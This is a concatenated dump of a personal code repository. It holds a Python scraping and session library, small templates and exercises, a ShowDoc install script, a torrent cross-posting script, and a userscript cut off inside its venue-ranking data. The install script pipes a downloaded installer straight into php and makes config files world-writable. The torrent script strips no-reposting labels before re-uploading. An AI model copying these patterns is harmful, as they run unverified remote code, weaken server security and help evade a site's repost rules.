", b"\n") if fixfunction is not None: page = fixfunction(page) if encoding: self.b = BeautifulSoup(page.decode(encoding,errors='replace'), 'html.parser') else: self.b = BeautifulSoup(page, 'html.parser') if o: return obj else: if not encoding: encoding = chardet.detect(page)["encoding"] return page.decode(encoding,errors='replace') if r: if headers is None: headers = {"Accept-Encoding": "gzip, deflate, sdch", "Accept-Language": "zh-CN,zh;q=0.8", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Upgrade-Insecure-Requests": "1", "DNT": "1"} headers["Referer"] = "/".join(url.split("/")[:3]) if cookiestring is not None: if headers is None: headers = {} headers["Cookie"] = cookiestring if "allow_redirects" not in kwargs: kwargs["allow_redirects"] = False x = self.s.get(url, headers=headers, proxies=self.proxies, **kwargs) if encoding: x.encoding = encoding if failstring is not None: if failstring in x.text: raise EasyLogin_ValidateFail(x) if result: page = x.content.replace(b"
", b"\n").replace(b"
", b"\n") if fixfunction is not None: page = fixfunction(page) if encoding: self.b = BeautifulSoup(page.decode(encoding,errors='replace'), 'html.parser') else: self.b = BeautifulSoup(page, 'html.parser') if save: with open(self.cookiefile, "wb") as fp: fp.write(pickle.dumps(self.s.cookies)) if o: # if you need object returned if cache is not None: with open(cache_filepath, "wb") as fp: fp.write(pickle.dumps(x)) return x else: if cache is not None: with open(cache_filepath, "wb") as fp: fp.write(x.content) return x.text def post(self, url, data, result=True, save=False, headers=None, cache=None, dont_change_cookie=False, **kwargs): """ HTTP POST method, submit data to server :param url: post target url :param data: the data already quoted :param result: the page returned save to a.b :param save: save cookie to file :param headers: override headers to be sent :param cache: filename to write cache, if already exists, use cache rather than really get; using cache=True to use md5(url+data) as cache file name :param dont_change_cookie: make the cookie unchanged during this function :return: the requests object """ if cache is True: cache = mymd5(url+data) if cache: cache_filepath = self.cachedir + cache if cache is not None and os.path.exists(cache_filepath): with open(cache_filepath, "rb") as fp: obj = pickle.load(fp) if result: self.b = BeautifulSoup(obj.content.replace(b"
", b"\n").replace(b"
", b"\n"), 'html.parser') return obj postheaders = {'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'} if headers is not None: postheaders.update(headers) if dont_change_cookie: self.stash_cookie() x = self.s.post(url, data, headers=postheaders, allow_redirects=False, proxies=self.proxies, **kwargs) if dont_change_cookie: self.pop_cookie() if result: page = x.content.replace(b"
", b"\n").replace(b"
", b"\n") self.b = BeautifulSoup(page, 'html.parser') if save: with open(self.cookiefile, "wb") as fp: fp.write(pickle.dumps(self.s.cookies)) if cache is not None: with open(cache_filepath, "wb") as fp: fp.write(pickle.dumps(x)) return x def post_dict(self, url, dict, result=True, save=False, headers=None,cache=None): """ like post but using dict to post :param url: post target url :param dict: the data to be post, in dict form, example: {"age":"19","name":"chenyuan"} :param result: the page returned save to a.b :param save: save cookie to file :param headers: override headers to be sent :return: the requests object """ if cache is True: dict = OrderedDict(sorted(dict.items(), key=lambda t: t[0])) data = urlencode(dict) return self.post(url, data, result=result, save=save, headers=headers,cache=cache) def post_json(self, url, jsondata, result=False, save=False, headers=None, cache=None, o=False): """ add a header for json post :return the object """ if headers is None: headers={} headers["Content-Type"]="application/json;charset=UTF-8" data=json.dumps(jsondata) x=self.post(url, data, result=result, save=save, headers=headers,cache=cache) if o: return x else: return x.json() def f(self, name, attrs): """ find all tags matches name and attrs :param name: Tag name :param attrs: dict, exmaple: {"id":"content"} :return: list of str(Tag text) """ if self.b is None: return [] return [i.text.replace('\r', '').replace('\n', '').replace('\t', '').replace(' ', '') for i in self.b.find_all(name, attrs)] def getlist(self, searchString, elementName="a", searchTarget="href", returnType=None): """ get all urls which contain searchString Examples: get all picture: a.getlist("","img","src") get all css and js: a.getlist("css","link","href") a.getlist("js","script","src") :param searchString: keywords to search :param elementName: Tag name :param searchTarget: "href", "src", etc... :param returnType: "element" to return the Tag object, None to return element[searchTarget] :return: list """ if returnType is None: returnType = searchTarget if self.b is None: return [] result = [] for element in self.b.find_all(elementName): if searchString in element.get(searchTarget, ""): result.append(element[returnType] if returnType != "element" else element) return result getList = getlist def img(self): return [i[2:] if i[0:2] == "//" else i for i in self.getlist("", "img", "src")] def css(self): return [i[2:] if i[0:2] == "//" else i for i in self.getlist("css", "link", "href")] def js(self): return [i[2:] if i[0:2] == "//" else i for i in self.getlist("js", "script", "src")] def VIEWSTATE(self): """ Useful when you crack the ASP>NET website :return: quoted VIEWSTATE str """ if self.b is None: return "" x = self.b.find("input", attrs={"name": "__VIEWSTATE"}) if x is None: return "" return quote(x["value"]) def save(self, filename="EasyLogin.status"): """ save the object to file using pickle to avoid RecursionError, not saving self.b :param filename: :return: """ b = self.b self.b = None data = pickle.dumps(self) with open(filename, "wb") as fp: fp.write(data) self.b = b return export = save @staticmethod def load(filename='EasyLogin.status'): """ load an object from file :param filename: file saved by pickle :return: the object """ try: with open(filename, "rb") as fp: return pickle.load(fp) except: return EasyLogin() _import = load @staticmethod def w(filename, content, method='w', overwrite=False): """ just for write more simplely :param filename: str :param content: str or bytes :param method: 'w' or 'wb' :param overwrite: boolean :return: None """ if not overwrite and os.path.exists(filename): return with open(filename, method) as fp: fp.write(content) def text(self, target=None, ignore_pureascii_words=False): """ Get all text in HTML, skip script and comment :param target: the BeatuifulSoup object, default self.b :param ignore_pureascii_words: if set True, only return words that contains Chinese charaters (may be useful for English version website) :return: list of str """ if target is None: target = self.b from bs4 import Comment from bs4.element import NavigableString,Doctype result = [] for descendant in target.descendants: if not isinstance(descendant, NavigableString) \ or isinstance(descendant,Doctype) \ or descendant.parent.name in ["script", "style"] \ or isinstance(descendant, Comment) \ or "none" in descendant.parent.get("style","")\ or "font-size:0px" in descendant.parent.get("style",""): continue data = descendant.strip() if len(data) > 0: if not ignore_pureascii_words or any([ord(i)>127 for i in data]): if PY2: result.append(data.encode('utf-8')) else: result.append(data) return result def find(self, tag, attrs_string, skip=0, text=False): """ find more easily with string, return all matched tag :param tag: tag name :param attrs_string: tag attrs, fully match :param skip: skip first tags :param text: need text or tag :return: array of tag or text """ tmp_tag = BeautifulSoup("""<%s %s>""" % (tag, attrs_string, tag), "html.parser").find(tag) def mysearch(itag): if itag.name != tag: return False if itag.attrs == tmp_tag.attrs: return True else: return False data = self.b.find_all(mysearch) for i in range(skip): if not len(data): break del(data[0]) if text is True: text = " " if text: return [text.join(self.text(i)) for i in data] else: return data def d(self,tag,attrs,all=False): """ delete some useless tags :param tag: tag name :param attrs: tag attrs :param all: delete all matches or just the first one :return: False when not found any matches """ if self.b is None: return False if all: tags = self.b.find_all(tag,attrs=attrs) else: tags = [self.b.find(tag,attrs=attrs)] if len(tags)==0: return False for tag in tags: tag.extract() return True @staticmethod def safefilename(filename): """ convert a string to a safe filename :param filename: a string, may be url or name :return: special chars replaced with _ """ for i in "\\/:*?\"<>|$": filename=filename.replace(i,"_") return filename def stash_cookie(self): """ stash the cookie status to a stack :return: None """ try: self.cookiestack except AttributeError: self.cookiestack = [] self.cookiestack.append(self.s.cookies.copy()) def pop_cookie(self): """ pop the cookie from the stack :return: False when pop from empty stack, else None """ if len(self.cookiestack) == 0: return False self.s.cookies = self.cookiestack.pop() def main(): # crawl main page of v2ex.com, print hot topics, and return a list of ("/t/637075", "公司让选一本书作为新年礼物,小于 80 元,有什么推荐的吗?") a = EasyLogin() page = a.get("https://v2ex.com/") TopicsHot = a.b.find("div",{"id":"TopicsHot"}) print("\n".join(a.text(TopicsHot))) res = [] for item in TopicsHot.find_all("a"): if not item["href"].startswith("/t/"): continue res.append((item["href"], item.text)) return res EL = EasyLogin if __name__ == '__main__': # sample code for get ip by "http://ip.cn" print(main()) ================================================ FILE: code/Javascript/异常.html ================================================
================================================ FILE: code/MultiThread_Template.py ================================================ #coding:utf-8 #Python简单多线程模板,支持Py2,Py3 import threading from time import sleep theader = 20 counter = 0 def work(list): global counter for i in list: counter += 1 sleep(1)# do something time-costing... worklist = range(1,100) for i in range(theader): t = threading.Thread(target=work,args=[worklist[i::theader]]) t.start() while counter < len(worklist): print("Finished: "+str(counter)) sleep(1) print("END") ================================================ FILE: code/PHP/ShowDoc.sh ================================================ # how to install ShowDoc in centos yum install nginx php php-gd php-fpm php-mcrypt php-mbstring php-mysql php-pdo curl -sS https://getcomposer.org/installer | php mv composer.phar /usr/local/bin/composer composer config -g repo.packagist composer https://packagist.phpcomposer.com cd /var/www/html/ && composer create-project showdoc/showdoc chmod a+w showdoc/install chmod a+w showdoc/Sqlite chmod a+w showdoc/Sqlite/showdoc.db.php chmod a+w showdoc/Public/Uploads/ chmod a+w showdoc/Application/Runtime chmod a+w showdoc/server/Application/Runtime chmod a+w showdoc/Application/Common/Conf/config.php chmod a+w showdoc/Application/Home/Conf/config.php ================================================ FILE: code/RVPNKeepAlive.bat ================================================ REM ڱ֤WindowsϵrvpnϿ󾡿 REM ű߼ҪдһLoader.batÿ1min(Զ)һαű REM ߼˳¼ĵԶcurlȡʧԶ REM rvpnԶܵ´ڴռãԶChrome.exe taskkill /f /im LogoutTimeOut.exe if "%errorlevel%"=="0" taskkill /f /im SangforCSClient.exe&ping www.baidu.com&start "" "C:\Program Files\Sangfor\SSL\SangforCSClient\SangforCSClient.exe" /ShortCutAutoLogin&& taskkill /f /im Chrome.exe &ping www.baidu.com curl 10.71.45.100 >nul if "%errorlevel%"=="0" exit 0 curl www.cc98.org >nul if "%errorlevel%"=="0" exit 0 taskkill /f /im SangforCSClient.exe ping -n 2 ip.cn start "" "C:\Program Files\Sangfor\SSL\SangforCSClient\SangforCSClient.exe" /ShortCutAutoLogin taskkill /f /im Chrome.exe ================================================ FILE: code/SpecialJudge_检查输出行顺序无关的答案.c ================================================ /* * 本代码是评判输出行无关的Special Judge代码,用于OnlineJudge * 原理为把标准答案写入代码中,先把标准答案和用户答案都qsort排序后再逐行比较 */ #include #include #include #define AC 0 #define WA 1 #define ERROR -1 #define LINES 100 //答案一共有100行 #define LINELEN 15 //建议这个数值略大于每行最长长度 char truelines[][LINELEN]={/*这里是标准答案,顺序无关,一共LINES行,每行最长LINELEN-1个字符*/} int compare(const void* a,const void* b){ return strcmp((const char*)a,(const char*)b); } int spj(FILE *input, FILE *user_output); void close_file(FILE *f){ if(f != NULL){ fclose(f); } } int main(int argc, char *args[]){ FILE *input = NULL, *user_output = NULL; int result; if(argc != 3){ printf("Usage: spj x.in x.out\n"); return ERROR; } input = fopen(args[1], "r"); user_output = fopen(args[2], "r"); if(input == NULL || user_output == NULL){ printf("Failed to open output file\n"); close_file(input); close_file(user_output); return ERROR; } result = spj(input, user_output); printf("result: %d\n", result); close_file(input); close_file(user_output); return result; } int spj(FILE *input, FILE *user_output){ /*如果用户答案错误,返回WA;否则返回AC*/ int i;char *tmp,userlines[LINES][LINELEN]; for(i=0;i #include #include #define MAX_LEVEL 55 typedef struct TreeNode *Tree; struct TreeNode { Tree Child; char key; Tree Sibling; }; int Counter[MAX_LEVEL] ; /* Counter[i] stores the number of leaves on the i-th level.*/ /* The root is on the level 0. */ void Visit( Tree T, int *level ){ if(T==NULL){ return; }else{ printf("%c,",T->key); *level+=1; Visit(T->Child,level+1); Visit(T->Sibling,level); } } int main(){ struct TreeNode data[20]; data[0].key='A';data[0].Child=data+1;data[0].Sibling=NULL; data[1].key='B';data[1].Child=data+4;data[1].Sibling=data+2; data[2].key='C';data[2].Child=data+6;data[2].Sibling=data+3; data[3].key='D';data[3].Child=data+7;data[3].Sibling=NULL; data[4].key='E';data[4].Child=data+10;data[4].Sibling=data+5; data[5].key='F';data[5].Child=NULL;data[5].Sibling=NULL; data[6].key='G';data[6].Child=NULL;data[6].Sibling=NULL; data[7].key='H';data[7].Child=data+12;data[7].Sibling=data+8; data[8].key='I';data[8].Child=NULL;data[8].Sibling=data+9; data[9].key='J';data[9].Child=NULL;data[9].Sibling=NULL; data[10].key='K';data[10].Child=NULL;data[10].Sibling=data+11; data[11].key='L';data[11].Child=NULL;data[11].Sibling=NULL; data[12].key='M';data[12].Child=NULL;data[12].Sibling=NULL; Visit(data,Counter); printf("\n"); int i; for(i=0;i<4;i++){ printf("%d:%d\n",i,Counter[i]); } } ================================================ FILE: code/autoseed_byr2nhd.py ================================================ from EasyLogin import EasyLogin import sys, os, re from PIL import Image from resizeimage import resizeimage from config import byr_cookie, nhd_cookie, byr_proxy, thost, tport, tuser, tpassword from pprint import pprint import transmissionrpc import base64 def img_smaller(filename): img = Image.open(open(filename, 'rb')) newsize = [img.size[0] * 0.9, img.size[1] * 0.9] smallerimg = resizeimage.resize_thumbnail(img, newsize) smallerimg.save(filename, smallerimg.format) def downimgs(a, imgs): result = [] for img in imgs: filename = img.split("/")[-1] if img.startswith("//"): img = "http:"+img if not img.startswith("http"): img = "http://bt.byr.cn/"+img print(img) if not os.path.exists(filename): data = a.get(img, o=True, result=False).content open(filename, "wb").write(data) while os.stat(filename).st_size>1024*1024: print("size: ",os.stat(filename).st_size/1024,"KB") img_smaller(filename) result.append(filename) return result def upload_imgs_nhd(a_nhd, filenames): result = [] for filename in filenames: x=a_nhd.s.post("http://www.nexushd.org/attachment.php", files={"submit":"上传", "file":open(filename,"rb")}) attach = x.text.split("[attach]")[1].split("[/attach]")[0] result.append(attach) return result source_sel_dict = {"bluray": "1", "blu-ray": "1", "hdtv": "4", "webdl": "7", "web-dl": "7"} standard_sel_dict = {"1080p": "1", "1080i": "2", "720p": "3", "4K": "1"} def get_byr(a, torrentid): a.get("http://bt.byr.cn/details.php?id={torrentid}&hit=1".format(torrentid=torrentid),cache=True) torrent_filename = a.b.find("a",{"class":"index"}).text name = a.b.find("h1",{"id":"share"}).text.split("\xa0")[0] subtitle = a.b.find("div",{"id":"subtitle"}).text name_orignal = name subtitle_orignal = subtitle if name.count("][")==3: name = name_orignal.split("][")[1] subtitle = name_orignal.split("][")[0].strip("[")+" "+name_orignal.split("][")[2]+" "+name_orignal.split("][")[3].strip("]") + subtitle else: name = torrent_filename.replace("[BYRBT].","").replace(".torrent","") if len(name.split(".")[-1])<4: name = ".".join(name.split(".")[:-1]) subtitle = name_orignal.replace("[","").replace("]"," ").replace(name, "") + subtitle # 来源 source_sel = "0" for key, value in source_sel_dict.items(): if key in name_orignal.lower(): source_sel = value break # 分辨率 standard_sel = "0" for key, value in standard_sel_dict.items(): if key in name_orignal.lower(): standard_sel = value break infohtml = a.b.find("div",{"id":"kdescr"}) infotext = infohtml.text.replace("\xa0","") imdblink_tmp = re.findall(r"www.imdb.com/title/tt\d+", infotext) imdblink = "" if len(imdblink_tmp): imdblink = "http://" + imdblink_tmp[0] + "/" doubanlink_tmp = re.findall(r"movie.douban.com/subject/\d+", infotext) doubanlink = "" if len(doubanlink_tmp): doubanlink = "https://" + doubanlink_tmp[0] infoimgs = [i["src"] for i in infohtml.find_all("img")] downloadedimgs = downimgs(a, infoimgs) try: doubantext = "\n".join(a.text(a.b.find("p",text="豆瓣信息").find_next("td"))).replace("\xa9","").replace("\n,\n",",\n").replace("-=更新=-","") except: doubantext = "" return {"standard_sel":standard_sel, "doubanlink":doubanlink, "imdblink": imdblink, "source_sel":source_sel, "torrentid": torrentid,"name":name, "subtitle":subtitle, "descr": infotext+"\n Douban:"+doubantext, "type":"101"}, downloadedimgs def download_torrent_byr(a, torrentid, host="bt.byr.cn", short="byr"): filename = str(torrentid)+"_"+short+".torrent" if not os.path.exists(filename): open(filename,"wb").write(a.get("http://"+host+"/download.php?id={torrentid}".format(torrentid=torrentid),result=False,o=True).content) return filename def download_torrent_nhd(a_nhd, torrentid): return download_torrent_byr(a_nhd, torrentid, host="www.nexushd.org", short="nhd") def upload_nhd(a_nhd, filename, torrentid, uploadedimgs, name,subtitle,descr,type, source_sel, imdblink, doubanlink, standard_sel): tmpstr = "" for item in uploadedimgs: tmpstr += ("[attach]"+item+"[/attach]\n") descr = tmpstr+descr data = { "name":name, "small_descr":subtitle+" Autoseed请求协助编辑", "descr":descr.replace("\r","\n").replace("\n\n","\n"), "type":type, "url":imdblink, "douban_url": doubanlink, "source_sel": source_sel, "codec_sel": "1", "standard_sel": standard_sel, } if "禁止转载" in data["small_descr"] or "禁转" in data["small_descr"]: data["small_descr"] = subtitle.replace("禁止转载","").replace("禁转","") data["uplver"] = "yes" data_no_descr = data.copy() del(data_no_descr["descr"]) pprint(data_no_descr) input("Sure to upload?") x = a_nhd.s.post("http://www.nexushd.org/takeupload.php",files={"file":open(filename,"rb")}, data=data) #open("result.html","wb").write(x.content) id = x.text.split("download.php?id=")[1].split('"')[0] return id def upload_transmission(thost, tport, tuser, tpassword, filename): tc = transmissionrpc.Client(thost, port=tport, user=tuser, password=tpassword) tc.add_torrent(base64.b64encode(open(filename, "rb").read()).decode()) if __name__ == "__main__": a = EasyLogin(proxy=byr_proxy,cookiestring=byr_cookie) a_nhd = EasyLogin(cookiestring=nhd_cookie) id = sys.argv[1] data, downloadedimgs = get_byr(a, id) # 获取种子信息 filename = download_torrent_byr(a, id) # 下载种子文件 uploadedimgs = upload_imgs_nhd(a_nhd, downloadedimgs) # 下载种子简介中的图片 nhdid = upload_nhd(a_nhd, filename=filename, uploadedimgs=uploadedimgs, **data) # 上传种子到NHD filename_nhd = download_torrent_nhd(a_nhd, nhdid) # 下载刚上传的NHD种子 upload_transmission(thost, tport, tuser, tpassword, filename_nhd) # 传给transmission开始做种 ================================================ FILE: code/ccfbadge.user.js ================================================ // ==UserScript== // @name ccf badge // @version 0.2 // @description Add CCF badge to dblp search result // @author zjuchenyuan // @match https://dblp.org/* // @match https://dblp.uni-trier.de/* // @grant none // ==/UserScript== var ccfdata = {"journals/tocs": ["\u4f53\u7cfb\u7ed3\u6784", "A"], "journals/tos": ["\u4f53\u7cfb\u7ed3\u6784", "A"], "journals/tcad": ["\u4f53\u7cfb\u7ed3\u6784", "A"], "journals/tc": ["\u4f53\u7cfb\u7ed3\u6784", "A"], "journals/tpds": ["\u4f53\u7cfb\u7ed3\u6784", "A"], "journals/taco": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "journals/taas": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "journals/todaes": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "journals/tecs": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "journals/trets": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "journals/tvlsi": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "journals/jpdc": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "journals/jsa": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/parco": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "journals/pe": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "journals/jetc": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "journals/concurrency": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "journals/dc": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "journals/fgcs": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "journals/tcc": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "journals/integration": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "journals/et": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "journals/grid": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "journals/mam": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "journals/rts": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "journals/tjs": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/ppopp": ["\u4f53\u7cfb\u7ed3\u6784", "A"], "conf/fast": ["\u4f53\u7cfb\u7ed3\u6784", "A"], "conf/dac": ["\u4f53\u7cfb\u7ed3\u6784", "A"], "conf/hpca": ["\u4f53\u7cfb\u7ed3\u6784", "A"], "conf/micro": ["\u4f53\u7cfb\u7ed3\u6784", "A"], "conf/sc": ["\u4f53\u7cfb\u7ed3\u6784", "A"], "conf/asplos": ["\u4f53\u7cfb\u7ed3\u6784", "A"], "conf/isca": ["\u4f53\u7cfb\u7ed3\u6784", "A"], "conf/usenix": ["\u4f53\u7cfb\u7ed3\u6784", "A"], "conf/cloud": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/spaa": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/podc": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/fpga": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/cgo": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/date": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/eurosys": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/hotchips": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/cluster": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/iccd": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/iccad": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/icdcs": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/codes": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/hipeac": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/sigmetrics": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/IEEEpact": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/icpp": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/ics": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/vee": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/ipps": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/performance": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/hpdc": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/itc": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/lisa": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/mss": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/rtas": ["\u4f53\u7cfb\u7ed3\u6784", "B"], "conf/cf": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/systor": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/nocs": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/asap": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/aspdac": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/europar": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/ets": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/fpl": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/fccm": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/glvlsi": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/ats": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/hpcc": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/hipc": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/mascots": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/ispa": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/ccgrid": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/npc": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/ica3pp": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/cases": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/fpt": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/icpads": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/iscas": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/islped": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/ispd": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/hoti": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "conf/vts": ["\u4f53\u7cfb\u7ed3\u6784", "C"], "journals/jsac": ["\u7f51\u7edc", "A"], "journals/tmc": ["\u7f51\u7edc", "A"], "journals/ton": ["\u7f51\u7edc", "A"], "journals/toit": ["\u7f51\u7edc", "B"], "journals/tomccap": ["\u7f51\u7edc/\u56fe\u5f62\u5b66\u4e0e\u591a\u5a92\u4f53", "B"], "journals/tosn": ["\u7f51\u7edc", "B"], "journals/cn": ["\u7f51\u7edc", "B"], "journals/tcom": ["\u7f51\u7edc", "B"], "journals/twc": ["\u7f51\u7edc", "B"], "journals/adhoc": ["\u7f51\u7edc", "C"], "journals/comcom": ["\u7f51\u7edc", "C"], "journals/tnsm": ["\u7f51\u7edc", "C"], "journals/iet-com": ["\u7f51\u7edc", "C"], "journals/jnca": ["\u7f51\u7edc", "C"], "journals/monet": ["\u7f51\u7edc", "C"], "journals/networks": ["\u7f51\u7edc", "C"], "journals/ppna": ["\u7f51\u7edc", "C"], "journals/wicomm": ["\u7f51\u7edc", "C"], "journals/winet": ["\u7f51\u7edc", "C"], "conf/sigcomm": ["\u7f51\u7edc", "A"], "conf/mobicom": ["\u7f51\u7edc", "A"], "conf/infocom": ["\u7f51\u7edc", "A"], "conf/nsdi": ["\u7f51\u7edc", "A"], "conf/sensys": ["\u7f51\u7edc", "B"], "conf/conext": ["\u7f51\u7edc", "B"], "conf/secon": ["\u7f51\u7edc", "B"], "conf/ipsn": ["\u7f51\u7edc", "B"], "conf/mobisys": ["\u7f51\u7edc", "B"], "conf/icnp": ["\u7f51\u7edc", "B"], "conf/mobihoc": ["\u7f51\u7edc", "B"], "conf/nossdav": ["\u7f51\u7edc", "B"], "conf/iwqos": ["\u7f51\u7edc", "B"], "conf/imc": ["\u7f51\u7edc", "B"], "conf/ancs": ["\u7f51\u7edc", "C"], "conf/apnoms": ["\u7f51\u7edc", "C"], "conf/forte": ["\u7f51\u7edc", "C"], "conf/lcn": ["\u7f51\u7edc", "C"], "conf/globecom": ["\u7f51\u7edc", "C"], "conf/icc": ["\u7f51\u7edc", "C"], "conf/icccn": ["\u7f51\u7edc", "C"], "conf/mass": ["\u7f51\u7edc", "C"], "conf/p2p": ["\u7f51\u7edc", "C"], "conf/ipccc": ["\u7f51\u7edc", "C"], "conf/wowmom": ["\u7f51\u7edc", "C"], "conf/iscc": ["\u7f51\u7edc", "C"], "conf/wcnc": ["\u7f51\u7edc", "C"], "conf/networking": ["\u7f51\u7edc", "C"], "conf/im": ["\u7f51\u7edc", "C"], "conf/msn": ["\u7f51\u7edc", "C"], "conf/mswim": ["\u7f51\u7edc", "C"], "conf/wasa": ["\u7f51\u7edc", "C"], "conf/hotnets": ["\u7f51\u7edc", "C"], "journals/tdsc": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "A"], "journals/tifs": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "A"], "journals/joc": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "A"], "journals/tissec": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "B"], "journals/compsec": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "B"], "journals/dcc": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "B"], "journals/jcs": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "B"], "journals/clsr": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "journals/ejisec": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "journals/iet-ifs": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "journals/imcs": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "journals/ijics": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "journals/ijisp": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "journals/istr": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "journals/scn": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/ccs": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "A"], "conf/eurocrypt": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "A"], "conf/sp": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "A"], "conf/crypto": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "A"], "conf/uss": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "A"], "conf/acsac": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "B"], "conf/asiacrypt": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "B"], "conf/esorics": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "B"], "conf/fse": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "B"], "conf/csfw": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "B"], "conf/srds": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "B"], "conf/ches": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "B"], "conf/dsn": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "B"], "conf/raid": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "B"], "conf/pkc": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "B"], "conf/ndss": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "B"], "conf/tcc": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "B"], "conf/wisec": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], "conf/sacmat": ["\u7f51\u7edc\u4e0e\u4fe1\u606f\u5b89\u5168", "C"], 